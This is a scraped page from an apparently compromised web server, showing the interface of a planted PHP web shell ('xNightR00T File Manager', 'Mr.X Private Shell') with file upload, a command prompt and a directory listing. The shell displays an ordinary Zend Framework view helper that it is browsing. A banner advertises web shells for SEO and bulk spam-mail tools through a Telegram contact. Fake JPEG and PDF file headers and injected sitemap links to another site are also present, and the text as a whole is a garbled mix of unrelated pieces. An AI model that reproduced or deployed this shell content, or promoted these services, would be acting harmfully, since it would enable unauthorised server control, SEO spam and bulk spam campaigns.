xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Vhost\View\Helper;

use Zend\View\Helper\AbstractHelper;
use Vhost\VhostNodeContainer;
use Vhost\Entity\Vhost;
use Messages\Db\MessageMapper;

class VhostInfoJson extends AbstractHelper
{

    /**
     * @param Vhost $vhost
     * @param array $vhostsNodes
     * @return string
     */
    public function __invoke(Vhost $vhost, array $vhostsNodes = array())
    {
        $servers = array();
        if (isset($vhostsNodes[$vhost->getId()])) {
            $servers = $this->getServers($vhostsNodes[$vhost->getId()]);
        }

        $status = $this->convertStatus($this->getVhostStatus($vhost, $vhostsNodes));

        $vhostInfo = array(
            'id' => $vhost->getId(),
            'name' => $vhost->getName(),
            'port' => $vhost->getPort(),
            'status' => $status,
            'default' => $vhost->isDefault(),
            'zendDefined' => $vhost->isZendDefined(),
            'zendManaged' => $vhost->isManagedByZend(),
            'ssl' => $vhost->isSsl(),
            'created' => $this->getView()->webapiDate($vhost->getCreatedAt()),
            'lastUpdated' => $this->getView()->webapiDate($vhost->getLastUpdated()),
            'createdTimestamp' => $vhost->getCreatedAt(),
            'lastUpdatedTimestamp' => $vhost->getLastUpdated(),
            'applicationPool' => $vhost->getApplicationPool(),
            'servers' => $servers,
        );

        return $vhostInfo;
    }

    /**
     * @param integer $status
     * @return string
     */
    private function convertStatus($status)
    {
        $strings = array(
            Vhost::STATUS_OK => 'Ok',
            Vhost::STATUS_ERROR => 'Error',
            Vhost::STATUS_MODIFIED => 'Modified',
            Vhost::STATUS_WEBSITE_STOPPED => 'Stopped',
            Vhost::STATUS_WARNING => 'Warning',
            Vhost::STATUS_PENDING_RESTART => 'PendingRestart',
            Vhost::STATUS_CREATE_ERROR => 'CreateError',
            Vhost::STATUS_DEPLOYMENT_NOT_ENABLED => 'DeploymentNotEnabled',
            Vhost::STATUS_UNKNOWN => 'Ok',
        );

        return (isset($strings[$status])) ? $strings[$status] : 'Error';
    }

    /**
     * @param Vhost $vhost
     * @param VhostNodeContainer $vhostsNodes
     * @return integer
     */
    private function getVhostStatus($vhost, $vhostsNodes)
    {

        if (!isset($vhostsNodes[$vhost->getId()])) {
            return Vhost::STATUS_ERROR;
        }

        if (0 == count($vhostsNodes[$vhost->getId()])) { /// No responding servers
            return Vhost::STATUS_UNKNOWN;
        }

        $status = array();
        foreach ($vhostsNodes[$vhost->getId()] as $server) { /* @var $server VhostNodeContainer */
            $status[$server->getStatus()] = $server->getStatus();
        }

        // have only one status - ok or error
        if (count($status) == 1) {
            return current($status);
        }

        // There is one member with status modified
        if (isset($status[Vhost::STATUS_MODIFIED])) {
            return Vhost::STATUS_MODIFIED;
        }

        // the vhost deployment should be enabled but its not
        if (isset($status[Vhost::STATUS_DEPLOYMENT_NOT_ENABLED])) {
            return Vhost::STATUS_DEPLOYMENT_NOT_ENABLED;
        }

        // have pending restart
        if (isset($status[Vhost::STATUS_PENDING_RESTART])) {
            return Vhost::STATUS_PENDING_RESTART;
        }

        // have pending restart
        if (isset($status[Vhost::STATUS_ERROR])) {
            return Vhost::STATUS_ERROR;
        }

        // have mixed ok and error status
        return Vhost::STATUS_WARNING;
    }

    /**
     * @param array $vhostsNodes
     * @return string
     */
    private function getServers(array $vhostsNodes = array())
    {
        $servers = array();
        foreach ($vhostsNodes as $vhostsNode) {
            $servers[] = $this->getServer($vhostsNode);
        }

        return $servers;
    }

    /**
     * @param VhostNodeContainer $vhostsNode
     * @return string
     */
    private function getServer(VhostNodeContainer $vhostsNode)
    {
        return array(
            'id' => $vhostsNode->getNodeId(),
            'status' => $this->convertStatus($vhostsNode->getStatus()),
            'name' => $vhostsNode->getName(),
            'lastMessage' => str_replace('\n','<br>',$this->lastMessage($vhostsNode->getLastMessage())),
        );
    }

    /**
     * @param string $lastMessage
     * @return string
     */
    private function lastMessage($lastMessage)
    {
        if (is_array($lastMessage) && isset($lastMessage['type'])) {
            $errorMessage = isset($lastMessage['details']['message']) ? $lastMessage['details']['message'] : '';
            switch ($lastMessage['type']) {
                case MessageMapper::TYPE_VHOST_ADDED:
                    return _t('Vhost was not added to this server: %s', array($errorMessage));
                    break;
                case MessageMapper::TYPE_VHOST_REDEPLOYED:
                    return _t('Vhost was not redeployed to this server: %s', array($errorMessage));
                    break;
                case MessageMapper::TYPE_VHOST_MODIFIED:
                case MessageMapper::TYPE_VHOST_REMOVED:
                case MessageMapper::TYPE_VHOST_WRONG_OWNER:
                default:
                    return $lastMessage;
            }
        } else {
            return $lastMessage;
        }
    }
}

Filemanager

Name Type Size Permission Actions
ReplyMessages.php File 3.76 KB 0644
SiteFullInfoJson.php File 572 B 0644
SiteFullInfoXml.php File 2.17 KB 0644
SiteInfoJson.php File 489 B 0644
SiteInfoXml.php File 1.66 KB 0644
VhostFullInfoJson.php File 1.98 KB 0644
VhostFullInfoXml.php File 2.17 KB 0644
VhostInfoJson.php File 5.31 KB 0644
VhostInfoXml.php File 6.21 KB 0644
ZGridVhostInfo.php File 959 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml